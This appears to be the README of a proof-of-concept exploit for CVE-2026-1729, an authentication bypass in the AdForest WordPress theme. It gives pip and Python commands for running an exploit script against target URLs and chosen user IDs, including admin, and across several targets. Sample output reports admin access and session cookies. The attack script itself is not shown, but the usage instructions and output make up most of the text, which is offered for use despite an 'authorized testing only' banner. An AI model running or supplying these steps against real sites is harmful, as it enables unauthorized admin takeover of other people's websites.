
The AdForest theme for WordPress is vulnerable to authentication bypass in all versions including, 6.0.12. This is due to the plugin not properly verifying a user's identity prior to authenticating them through the 'sb_login_user_with_otp_fun' function. This makes it possible for unauthenticated attackers to log in, including admin
Simple Proof of Concept for CVE-2026-1729 (PoC) - Authentication bypass vulnerability in AdForest WordPress Theme. Authored by f3ds cr3w est 2oo2 blog
requests librarypip install requests
python poc/exploit.py https://target-site.com
python poc/exploit.py https://target-site.com --user-id 2
# Exploit default admin (user ID 1)
python poc/exploit.py https://example.com
# Exploit specific user account
python poc/exploit.py https://example.com --user-id 5
# Test multiple targets
python poc/exploit.py https://site1.com
python poc/exploit.py https://site2.com --user-id 3
CVE-2026-1729 - AdForest WordPress Authentication Bypass
=======================================================
WARNING: For authorized testing only!
=======================================================
[+] Target: https://example.com
[+] Targeting user ID: 1
[+] Sending exploit to: https://example.com/wp-admin/admin-ajax.php
[+] SUCCESS! Admin access granted
[+] Admin URL: https://example.com/wp-admin/
[+] Session cookies: {'wp-settings-time-1': '1234567890', 'wordpress_logged_in_...': '...'}
[+] Logged in as: admin
🎯 Exploit completed successfully!
You now have admin access to the WordPress site.
/wp-admin/If exploit fails: